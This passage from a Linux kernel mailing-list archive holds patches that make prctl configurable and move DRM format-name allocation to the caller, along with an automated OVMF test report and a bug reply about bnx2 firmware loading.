 	  If unsure, say Y here.
 
+config PRCTL
+	bool "prctl syscall" if EXPERT
+	default y
+	help
+	  This option enables the prctl syscall, used for a variety of
+	  operations on the current process.
+
+	  If building an embedded system where no applications or libraries use
+	  prctl, you can disable this option to save space.
+
+	  If unsure, say Y here.
+
 config SGETMASK_SYSCALL
 	bool "sgetmask/ssetmask syscalls support" if EXPERT
 	def_bool PARISC || MN10300 || BLACKFIN || M68K || PPC || MIPS || X86 || SPARC || CRIS || MICROBLAZE || SUPERH
diff --git a/kernel/Makefile b/kernel/Makefile
index 37c6d4c..43fb4ca 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -9,9 +9,10 @@ obj-y     = fork.o exec_domain.o panic.o \
 	    extable.o params.o \
 	    kthread.o sys_ni.o nsproxy.o \
 	    notifier.o ksysfs.o cred.o reboot.o \
-	    async.o range.o smpboot.o ucount.o prctl.o
+	    async.o range.o smpboot.o ucount.o
 
 obj-$(CONFIG_MULTIUSER) += groups.o
+obj-$(CONFIG_PRCTL) += prctl.o
 
 ifdef CONFIG_FUNCTION_TRACER
 # Do not trace internal ftrace files
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 635482e..84fd646 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -175,6 +175,7 @@ cond_syscall(sys_setfsgid);
 cond_syscall(sys_capget);
 cond_syscall(sys_capset);
 cond_syscall(sys_copy_file_range);
+cond_syscall(sys_prctl);
 
 /* arch-specific weak syscall entries */
 cond_syscall(sys_pciconfig_read);
-- 
git-series 0.8.11

^ permalink raw reply related

* [ovmf baseline-only test] 68015: all pass
From: Platform Team regression test user @ 2016-11-09  0:18 UTC (permalink / raw)
  To: xen-devel, osstest-admin

This run is configured for baseline tests only.

flight 68015 ovmf real [real]
http://osstest.xs.citrite.net/~osstest/testlogs/logs/68015/

Perfect :-)
All tests in this flight passed as required
version targeted for testing:
 ovmf                 d66f85cb5eed5c218d822204897a78bab53fc157
baseline version:
 ovmf                 2998af862469c6a05657e169d7def6f55420caad

Last test of basis    68012  2016-11-08 04:50:39 Z    0 days
Testing same since    68015  2016-11-08 13:17:19 Z    0 days    1 attempts

------------------------------------------------------------
People who touched revisions under test:
  Hegde Nagaraj P <nagaraj-p.hegde@hpe.com>
  hegdenag <nagaraj-p.hegde@hpe.com>

jobs:
 build-amd64-xsm                                              pass    
 build-i386-xsm                                               pass    
 build-amd64                                                  pass    
 build-i386                                                   pass    
 build-amd64-libvirt                                          pass    
 build-i386-libvirt                                           pass    
 build-amd64-pvops                                            pass    
 build-i386-pvops                                             pass    
 test-amd64-amd64-xl-qemuu-ovmf-amd64                         pass    
 test-amd64-i386-xl-qemuu-ovmf-amd64                          pass    


------------------------------------------------------------
sg-report-flight on osstest.xs.citrite.net
logs: /home/osstest/logs
images: /home/osstest/images

Logs, config files, etc. are available at
    http://osstest.xs.citrite.net/~osstest/testlogs/logs

Test harness code can be found at
    http://xenbits.xensource.com/gitweb?p=osstest.git;a=summary


Push not applicable.

------------------------------------------------------------
commit d66f85cb5eed5c218d822204897a78bab53fc157
Author: hegdenag <nagaraj-p.hegde@hpe.com>
Date:   Mon Nov 7 00:40:48 2016 -0800

    ShellPkg/Ping6: Add a note in help for TargetIp
    
    'Ping6 TargetIp' is a valid command input but we bail out
    when TargetIp is a link local address because we would want
    the user to specify the NIC (via SourceIp) through which
    he/she would want to ping to TargetIp. This patch updates
    the help text to mention the same.
    
    Contributed-under: TianoCore Contribution Agreement 1.0
    Signed-off-by: Hegde Nagaraj P <nagaraj-p.hegde@hpe.com>
    Reviewed-by: Jaben Carsey <jaben.carsey@intel.com>

_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xen.org
https://lists.xen.org/xen-devel

^ permalink raw reply

* Re: bnx2: broken firware loading
From: Baoquan He @ 2016-11-09  0:19 UTC (permalink / raw)
  To: Frank Reppin, jsr, pmenzel; +Cc: linux-kernel, jroedel
In-Reply-To: <9e5ef10e-36ae-ab7d-b5a8-1cdc848e0eae@undermydesk.org>

Yes, Paul has reported this. Sorry about this!

Will work on it right away.

Thanks
Baoquan

On 11/08/16 at 11:50pm, Frank Reppin wrote:
> Hellos,
> 
> ... firmware loading seems to be somewhat broken now with/since
> 
> https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/drivers/net/ethernet/broadcom/bnx2.c?id=3e1be7ad2d38c6bd6aeef96df9bd0a7822f4e51c
> 
> which gives me - on 4.8.6:
> 
> bnx2 0000:05:00.0: Direct firmware load for bnx2/bnx2-mips-06-6.2.3.fw
> failed with error -2
> 
> Reverting this commit does fix it (tested on 4.8.6 too) - but it's ofcourse
> not what you've initially intended.
> 
> TIA,
> Frank Reppin
> 
> -- 
> 43rd Law of Computing:
>         Anything that can go wr
> fortune: Segmentation violation -- Core dumped

^ permalink raw reply

* [PATCH v3] drm: move allocation out of drm_get_format_name()
From: Eric Engestrom @ 2016-11-09  0:17 UTC (permalink / raw)
  To: linux-kernel
  Cc: Christian König, Rob Clark, Sinclair Yeh, Jani Nikula,
	Ville Syrjälä, Eric Engestrom, Alex Deucher,
	David Airlie, Xinliang Liu, Daniel Vetter, Jani Nikula,
	VMware Graphics, Thomas Hellstrom, Tom St Denis,
	Michel Dänzer, Gustavo Padovan, Eric Engestrom, Emily Deng,
	Chunming Zhou, Flora Cui, Vitaly Prosyak, Ken Wang,
	Colin Ian King, Alexandre Demers, Junwei Zhang, Xinwei Kong,
	Laurent Pinchart, Wei Yongjun, dri-devel, intel-gfx
In-Reply-To: <20161108101558.ihvrprbbdqjwu5wg@phenom.ffwll.local>

The function's behaviour was changed in 90844f00049e, without changing
its signature, causing people to keep using it the old way without
realising they were now leaking memory.
Rob Clark also noticed it was also allocating GFP_KERNEL memory in
atomic contexts, breaking them.

Instead of having to allocate GFP_ATOMIC memory and fixing the callers
to make them cleanup the memory afterwards, let's change the function's
signature by having the caller take care of the memory and passing it to
the function.
The new parameter is a single-field struct in order to enforce the size
of its buffer and help callers to correctly manage their memory.

Fixes: 90844f00049e ("drm: make drm_get_format_name thread-safe")
Cc: Rob Clark <robdclark@gmail.com>
Cc: Christian König <christian.koenig@amd.com>
Acked-by: Christian König <christian.koenig@amd.com>
Acked-by: Rob Clark <robdclark@gmail.com>
Acked-by: Sinclair Yeh <syeh@vmware.com> (vmwgfx)
Reviewed-by: Jani Nikula <jani.nikula@intel.com>
Suggested-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
Signed-off-by: Eric Engestrom <eric@engestrom.ch>
---
v3 - fix "Fixes" tag, replace it with an actual commit message
   - collect ack & r-b

v2 - use single-field struct instead of typedef to let the compiler
     enforce the type (Christian König)
---
 include/drm/drm_fourcc.h                        | 10 +++++-
 drivers/gpu/drm/drm_fourcc.c                    | 14 +++------
 drivers/gpu/drm/amd/amdgpu/dce_v10_0.c          |  7 ++---
 drivers/gpu/drm/amd/amdgpu/dce_v11_0.c          |  7 ++---
 drivers/gpu/drm/amd/amdgpu/dce_v6_0.c           |  3 +-
 drivers/gpu/drm/amd/amdgpu/dce_v8_0.c           |  7 ++---
 drivers/gpu/drm/drm_atomic.c                    |  7 +++--
 drivers/gpu/drm/drm_crtc.c                      |  7 +++--
 drivers/gpu/drm/drm_framebuffer.c               |  7 +++--
 drivers/gpu/drm/drm_modeset_helper.c            |  7 +++--
 drivers/gpu/drm/drm_plane.c                     |  7 +++--
 drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c |  7 ++---
 drivers/gpu/drm/i915/i915_debugfs.c             | 10 +++---
 drivers/gpu/drm/i915/intel_atomic_plane.c       |  8 ++---
 drivers/gpu/drm/i915/intel_display.c            | 41 ++++++++++---------------
 drivers/gpu/drm/radeon/atombios_crtc.c          | 14 ++++-----
 drivers/gpu/drm/vmwgfx/vmwgfx_kms.c             |  3 +-
 17 files changed, 80 insertions(+), 86 deletions(-)

diff --git a/include/drm/drm_fourcc.h b/include/drm/drm_fourcc.h
index dc0aafa..4b03ca0 100644
--- a/include/drm/drm_fourcc.h
+++ b/include/drm/drm_fourcc.h
@@ -45,6 +45,14 @@ struct drm_format_info {
 	u8 vsub;
 };
 
+/**
+ * struct drm_format_name_buf - name of a DRM format
+ * @str: string buffer containing the format name
+ */
+struct drm_format_name_buf {
+	char str[32];
+};
+
 const struct drm_format_info *__drm_format_info(u32 format);
 const struct drm_format_info *drm_format_info(u32 format);
 uint32_t drm_mode_legacy_fb_format(uint32_t bpp, uint32_t depth);
@@ -54,6 +62,6 @@ int drm_format_horz_chroma_subsampling(uint32_t format);
 int drm_format_vert_chroma_subsampling(uint32_t format);
 int drm_format_plane_width(int width, uint32_t format, int plane);
 int drm_format_plane_height(int height, uint32_t format, int plane);
-char *drm_get_format_name(uint32_t format) __malloc;
+char *drm_get_format_name(uint32_t format, struct drm_format_name_buf *buf);
 
 #endif /* __DRM_FOURCC_H__ */
diff --git a/drivers/gpu/drm/drm_fourcc.c b/drivers/gpu/drm/drm_fourcc.c
index cbb8b77..99b0b60 100644
--- a/drivers/gpu/drm/drm_fourcc.c
+++ b/drivers/gpu/drm/drm_fourcc.c
@@ -79,17 +79,13 @@ uint32_t drm_mode_legacy_fb_format(uint32_t bpp, uint32_t depth)
 EXPORT_SYMBOL(drm_mode_legacy_fb_format);
 
 /**
- * drm_get_format_name - return a string for drm fourcc format
+ * drm_get_format_name - fill a string with a drm fourcc format's name
  * @format: format to compute name of
+ * @buf: caller-supplied buffer
- *
- * Note that the buffer returned by this function is owned by the caller
- * and will need to be freed using kfree().
  */
-char *drm_get_format_name(uint32_t format)
+char *drm_get_format_name(uint32_t format, struct drm_format_name_buf *buf)
 {
-	char *buf = kmalloc(32, GFP_KERNEL);
-
-	snprintf(buf, 32,
+	snprintf(buf->str, sizeof(buf->str),
 		 "%c%c%c%c %s-endian (0x%08x)",
 		 printable_char(format & 0xff),
 		 printable_char((format >> 8) & 0xff),
@@ -98,7 +94,7 @@ char *drm_get_format_name(uint32_t format)
 		 format & DRM_FORMAT_BIG_ENDIAN ? "big" : "little",
 		 format);
 
-	return buf;
+	return buf->str;
 }
 EXPORT_SYMBOL(drm_get_format_name);
 
diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v10_0.c b/drivers/gpu/drm/amd/amdgpu/dce_v10_0.c
index 199d3f7..2924cdd 100644
--- a/drivers/gpu/drm/amd/amdgpu/dce_v10_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/dce_v10_0.c
@@ -2032,7 +2032,7 @@ static int dce_v10_0_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 tmp, viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -2144,9 +2144,8 @@ static int dce_v10_0_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v11_0.c b/drivers/gpu/drm/amd/amdgpu/dce_v11_0.c
index ecd000e..f0e3c5c 100644
--- a/drivers/gpu/drm/amd/amdgpu/dce_v11_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/dce_v11_0.c
@@ -2013,7 +2013,7 @@ static int dce_v11_0_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 tmp, viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -2125,9 +2125,8 @@ static int dce_v11_0_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c b/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
index 44547f9..5c6b82f 100644
--- a/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
@@ -1456,6 +1456,7 @@ static int dce_v6_0_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -1559,7 +1560,7 @@ static int dce_v6_0_crtc_do_set_base(struct drm_crtc *crtc,
 		break;
 	default:
 		DRM_ERROR("Unsupported screen format %s\n",
-			  drm_get_format_name(target_fb->pixel_format));
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v8_0.c b/drivers/gpu/drm/amd/amdgpu/dce_v8_0.c
index 979aedf..5aef19d 100644
--- a/drivers/gpu/drm/amd/amdgpu/dce_v8_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/dce_v8_0.c
@@ -1910,7 +1910,7 @@ static int dce_v8_0_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -2015,9 +2015,8 @@ static int dce_v8_0_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/drm_atomic.c b/drivers/gpu/drm/drm_atomic.c
index c32fb3c..f29d3c5 100644
--- a/drivers/gpu/drm/drm_atomic.c
+++ b/drivers/gpu/drm/drm_atomic.c
@@ -835,9 +835,10 @@ static int drm_atomic_plane_check(struct drm_plane *plane,
 	/* Check whether this plane supports the fb pixel format. */
 	ret = drm_plane_check_pixel_format(plane, state->fb->pixel_format);
 	if (ret) {
-		char *format_name = drm_get_format_name(state->fb->pixel_format);
-		DRM_DEBUG_ATOMIC("Invalid pixel format %s\n", format_name);
+		struct drm_format_name_buf format_name;
+		DRM_DEBUG_ATOMIC("Invalid pixel format %s\n",
+		                 drm_get_format_name(state->fb->pixel_format,
+		                                     &format_name));
-		kfree(format_name);
 		return ret;
 	}
 
diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c
index 13441e2..08ac216 100644
--- a/drivers/gpu/drm/drm_crtc.c
+++ b/drivers/gpu/drm/drm_crtc.c
@@ -827,9 +827,10 @@ int drm_mode_setcrtc(struct drm_device *dev, void *data,
 			ret = drm_plane_check_pixel_format(crtc->primary,
 							   fb->pixel_format);
 			if (ret) {
-				char *format_name = drm_get_format_name(fb->pixel_format);
-				DRM_DEBUG_KMS("Invalid pixel format %s\n", format_name);
+				struct drm_format_name_buf format_name;
+				DRM_DEBUG_KMS("Invalid pixel format %s\n",
+				              drm_get_format_name(fb->pixel_format,
+				                                  &format_name));
-				kfree(format_name);
 				goto out;
 			}
 		}
diff --git a/drivers/gpu/drm/drm_framebuffer.c b/drivers/gpu/drm/drm_framebuffer.c
index 49fd7db..df6b180 100644
--- a/drivers/gpu/drm/drm_framebuffer.c
+++ b/drivers/gpu/drm/drm_framebuffer.c
@@ -133,9 +133,10 @@ static int framebuffer_check(const struct drm_mode_fb_cmd2 *r)
 
 	info = __drm_format_info(r->pixel_format & ~DRM_FORMAT_BIG_ENDIAN);
 	if (!info) {
-		char *format_name = drm_get_format_name(r->pixel_format);
-		DRM_DEBUG_KMS("bad framebuffer format %s\n", format_name);
+		struct drm_format_name_buf format_name;
+		DRM_DEBUG_KMS("bad framebuffer format %s\n",
+		              drm_get_format_name(r->pixel_format,
+		                                  &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/drm_modeset_helper.c b/drivers/gpu/drm/drm_modeset_helper.c
index 2544dfe..2f452b3 100644
--- a/drivers/gpu/drm/drm_modeset_helper.c
+++ b/drivers/gpu/drm/drm_modeset_helper.c
@@ -75,10 +75,11 @@ void drm_helper_mode_fill_fb_struct(struct drm_framebuffer *fb,
 
 	info = drm_format_info(mode_cmd->pixel_format);
 	if (!info || !info->depth) {
-		char *format_name = drm_get_format_name(mode_cmd->pixel_format);
+		struct drm_format_name_buf format_name;
 
-		DRM_DEBUG_KMS("non-RGB pixel format %s\n", format_name);
+		DRM_DEBUG_KMS("non-RGB pixel format %s\n",
+		              drm_get_format_name(mode_cmd->pixel_format,
+		                                  &format_name));
-		kfree(format_name);
 
 		fb->depth = 0;
 		fb->bits_per_pixel = 0;
diff --git a/drivers/gpu/drm/drm_plane.c b/drivers/gpu/drm/drm_plane.c
index 249c0ae..2ba0c22 100644
--- a/drivers/gpu/drm/drm_plane.c
+++ b/drivers/gpu/drm/drm_plane.c
@@ -479,9 +479,10 @@ static int __setplane_internal(struct drm_plane *plane,
 	/* Check whether this plane supports the fb pixel format. */
 	ret = drm_plane_check_pixel_format(plane, fb->pixel_format);
 	if (ret) {
-		char *format_name = drm_get_format_name(fb->pixel_format);
-		DRM_DEBUG_KMS("Invalid pixel format %s\n", format_name);
+		struct drm_format_name_buf format_name;
+		DRM_DEBUG_KMS("Invalid pixel format %s\n",
+		              drm_get_format_name(fb->pixel_format,
+		                                  &format_name));
-		kfree(format_name);
 		goto out;
 	}
 
diff --git a/drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c b/drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c
index 7e7a4d4..afc2b5d 100644
--- a/drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c
+++ b/drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c
@@ -608,17 +608,16 @@ static void ade_rdma_set(void __iomem *base, struct drm_framebuffer *fb,
 			 u32 ch, u32 y, u32 in_h, u32 fmt)
 {
 	struct drm_gem_cma_object *obj = drm_fb_cma_get_gem_obj(fb, 0);
-	char *format_name;
+	struct drm_format_name_buf format_name;
 	u32 reg_ctrl, reg_addr, reg_size, reg_stride, reg_space, reg_en;
 	u32 stride = fb->pitches[0];
 	u32 addr = (u32)obj->paddr + y * stride;
 
 	DRM_DEBUG_DRIVER("rdma%d: (y=%d, height=%d), stride=%d, paddr=0x%x\n",
 			 ch + 1, y, in_h, stride, (u32)obj->paddr);
-	format_name = drm_get_format_name(fb->pixel_format);
 	DRM_DEBUG_DRIVER("addr=0x%x, fb:%dx%d, pixel_format=%d(%s)\n",
-			 addr, fb->width, fb->height, fmt, format_name);
+			 addr, fb->width, fb->height, fmt,
+			 drm_get_format_name(fb->pixel_format, &format_name));
-	kfree(format_name);
 
 	/* get reg offset */
 	reg_ctrl = RD_CH_CTRL(ch);
diff --git a/drivers/gpu/drm/i915/i915_debugfs.c b/drivers/gpu/drm/i915/i915_debugfs.c
index 20638d2..670423e 100644
--- a/drivers/gpu/drm/i915/i915_debugfs.c
+++ b/drivers/gpu/drm/i915/i915_debugfs.c
@@ -2971,7 +2971,7 @@ static void intel_plane_info(struct seq_file *m, struct intel_crtc *intel_crtc)
 	for_each_intel_plane_on_crtc(dev, intel_crtc, intel_plane) {
 		struct drm_plane_state *state;
 		struct drm_plane *plane = &intel_plane->base;
-		char *format_name;
+		struct drm_format_name_buf format_name;
 
 		if (!plane->state) {
 			seq_puts(m, "plane->state is NULL!\n");
@@ -2981,9 +2981,9 @@ static void intel_plane_info(struct seq_file *m, struct intel_crtc *intel_crtc)
 		state = plane->state;
 
 		if (state->fb) {
-			format_name = drm_get_format_name(state->fb->pixel_format);
+			drm_get_format_name(state->fb->pixel_format, &format_name);
 		} else {
-			format_name = kstrdup("N/A", GFP_KERNEL);
+			sprintf(format_name.str, "N/A");
 		}
 
 		seq_printf(m, "\t--Plane id %d: type=%s, crtc_pos=%4dx%4d, crtc_size=%4dx%4d, src_pos=%d.%04ux%d.%04u, src_size=%d.%04ux%d.%04u, format=%s, rotation=%s\n",
@@ -2999,10 +2999,8 @@ static void intel_plane_info(struct seq_file *m, struct intel_crtc *intel_crtc)
 			   ((state->src_w & 0xffff) * 15625) >> 10,
 			   (state->src_h >> 16),
 			   ((state->src_h & 0xffff) * 15625) >> 10,
-			   format_name,
+			   format_name.str,
 			   plane_rotation(state->rotation));
-
-		kfree(format_name);
 	}
 }
 
diff --git a/drivers/gpu/drm/i915/intel_atomic_plane.c b/drivers/gpu/drm/i915/intel_atomic_plane.c
index c762ae5..6c76e3d 100644
--- a/drivers/gpu/drm/i915/intel_atomic_plane.c
+++ b/drivers/gpu/drm/i915/intel_atomic_plane.c
@@ -143,7 +143,7 @@ static int intel_plane_atomic_check(struct drm_plane *plane,
 		crtc_state->base.enable ? crtc_state->pipe_src_h : 0;
 
 	if (state->fb && drm_rotation_90_or_270(state->rotation)) {
-		char *format_name;
+		struct drm_format_name_buf format_name;
 
 		if (!(state->fb->modifier[0] == I915_FORMAT_MOD_Y_TILED ||
 			state->fb->modifier[0] == I915_FORMAT_MOD_Yf_TILED)) {
@@ -159,9 +159,9 @@ static int intel_plane_atomic_check(struct drm_plane *plane,
 		switch (state->fb->pixel_format) {
 		case DRM_FORMAT_C8:
 		case DRM_FORMAT_RGB565:
-			format_name = drm_get_format_name(state->fb->pixel_format);
-			DRM_DEBUG_KMS("Unsupported pixel format %s for 90/270!\n", format_name);
+			DRM_DEBUG_KMS("Unsupported pixel format %s for 90/270!\n",
+			              drm_get_format_name(state->fb->pixel_format,
+			                                  &format_name));
-			kfree(format_name);
 			return -EINVAL;
 
 		default:
diff --git a/drivers/gpu/drm/i915/intel_display.c b/drivers/gpu/drm/i915/intel_display.c
index 6f8f6ec..8209170 100644
--- a/drivers/gpu/drm/i915/intel_display.c
+++ b/drivers/gpu/drm/i915/intel_display.c
@@ -12871,7 +12871,7 @@ static void intel_dump_pipe_config(struct intel_crtc *crtc,
 
 	DRM_DEBUG_KMS("planes on this crtc\n");
 	list_for_each_entry(plane, &dev->mode_config.plane_list, head) {
-		char *format_name;
+		struct drm_format_name_buf format_name;
 		intel_plane = to_intel_plane(plane);
 		if (intel_plane->pipe != crtc->pipe)
 			continue;
@@ -12884,12 +12884,11 @@ static void intel_dump_pipe_config(struct intel_crtc *crtc,
 			continue;
 		}
 
-		format_name = drm_get_format_name(fb->pixel_format);
-
 		DRM_DEBUG_KMS("[PLANE:%d:%s] enabled",
 			      plane->base.id, plane->name);
 		DRM_DEBUG_KMS("\tFB:%d, fb = %ux%u format = %s",
-			      fb->base.id, fb->width, fb->height, format_name);
+			      fb->base.id, fb->width, fb->height,
+			      drm_get_format_name(fb->pixel_format, &format_name));
 		DRM_DEBUG_KMS("\tscaler:%d src %dx%d+%d+%d dst %dx%d+%d+%d\n",
 			      state->scaler_id,
 			      state->base.src.x1 >> 16,
@@ -12899,8 +12898,6 @@ static void intel_dump_pipe_config(struct intel_crtc *crtc,
 			      state->base.dst.x1, state->base.dst.y1,
 			      drm_rect_width(&state->base.dst),
 			      drm_rect_height(&state->base.dst));
-
-		kfree(format_name);
 	}
 }
 
@@ -15749,7 +15746,7 @@ static int intel_framebuffer_init(struct drm_device *dev,
 	unsigned int tiling = i915_gem_object_get_tiling(obj);
 	int ret;
 	u32 pitch_limit, stride_alignment;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	WARN_ON(!mutex_is_locked(&dev->struct_mutex));
 
@@ -15840,18 +15837,16 @@ static int intel_framebuffer_init(struct drm_device *dev,
 		break;
 	case DRM_FORMAT_XRGB1555:
 		if (INTEL_INFO(dev)->gen > 3) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
 	case DRM_FORMAT_ABGR8888:
 		if (!IS_VALLEYVIEW(dev_priv) && !IS_CHERRYVIEW(dev_priv) &&
 		    INTEL_INFO(dev)->gen < 9) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
@@ -15859,17 +15854,15 @@ static int intel_framebuffer_init(struct drm_device *dev,
 	case DRM_FORMAT_XRGB2101010:
 	case DRM_FORMAT_XBGR2101010:
 		if (INTEL_INFO(dev)->gen < 4) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
 	case DRM_FORMAT_ABGR2101010:
 		if (!IS_VALLEYVIEW(dev_priv) && !IS_CHERRYVIEW(dev_priv)) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
@@ -15878,16 +15871,14 @@ static int intel_framebuffer_init(struct drm_device *dev,
 	case DRM_FORMAT_YVYU:
 	case DRM_FORMAT_VYUY:
 		if (INTEL_INFO(dev)->gen < 5) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
 	default:
-		format_name = drm_get_format_name(mode_cmd->pixel_format);
-		DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+		DRM_DEBUG("unsupported pixel format: %s\n",
+		          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/radeon/atombios_crtc.c b/drivers/gpu/drm/radeon/atombios_crtc.c
index 74f99ba..05f4ebe 100644
--- a/drivers/gpu/drm/radeon/atombios_crtc.c
+++ b/drivers/gpu/drm/radeon/atombios_crtc.c
@@ -1156,7 +1156,7 @@ static int dce4_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 tmp, viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -1260,9 +1260,8 @@ static int dce4_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
@@ -1473,7 +1472,7 @@ static int avivo_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -1563,9 +1562,8 @@ static int avivo_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_kms.c b/drivers/gpu/drm/vmwgfx/vmwgfx_kms.c
index c965514..e3f68cc 100644
--- a/drivers/gpu/drm/vmwgfx/vmwgfx_kms.c
+++ b/drivers/gpu/drm/vmwgfx/vmwgfx_kms.c
@@ -985,8 +985,9 @@ static struct drm_framebuffer *vmw_kms_fb_create(struct drm_device *dev,
 
 	info = drm_format_info(mode_cmd2->pixel_format);
 	if (!info || !info->depth) {
+		struct drm_format_name_buf format_name;
 		DRM_ERROR("Unsupported framebuffer format %s\n",
-			  drm_get_format_name(mode_cmd2->pixel_format));
+		          drm_get_format_name(mode_cmd2->pixel_format, &format_name));
 		return ERR_PTR(-EINVAL);
 	}
 
-- 
Cheers,
  Eric

^ permalink raw reply related

* Re: [PATCH 1/2] kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
From: Andy Lutomirski @ 2016-11-09  0:19 UTC (permalink / raw)
  To: Josh Triplett
  Cc: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Nicolas Pitre, Zefan Li, Li Bin,
	Eric W. Biederman, Dmitry Vyukov, Ralf Baechle, Alex Thorlton,
